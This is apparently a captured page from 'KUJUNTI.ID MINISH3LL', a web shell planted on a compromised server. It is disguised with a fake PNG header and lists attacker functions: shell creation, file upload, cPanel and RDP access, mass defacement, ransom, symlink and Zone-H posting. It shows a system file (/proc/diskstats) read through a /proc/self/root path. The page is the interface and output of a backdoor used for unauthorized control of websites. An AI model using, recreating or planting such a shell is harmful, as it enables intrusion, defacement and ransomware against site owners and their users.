\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /proc/self/root/proc/self/root/proc/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //proc/self/root/proc/self/root/proc/diskstats


   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
  11       0 sr0 4 0 1 1 0 0 0 0 0 12 1 0 0 0 0 0 0
   8       0 sda 2685302 462599 313670945 2619304 81696 47176 2033542 87662 0 293280 2725420 99405 2 59621131 16828 9252 1624
   8       1 sda1 2684824 454626 313635356 2618794 81693 47176 2033532 87660 0 293140 2723282 99401 0 59117336 16827 0 0
   8      14 sda14 78 0 624 16 0 0 0 0 0 44 16 0 0 0 0 0 0
   8      15 sda15 252 7973 29453 426 3 0 10 2 0 232 430 4 2 503795 1 0 0

© KUJUNTI.ID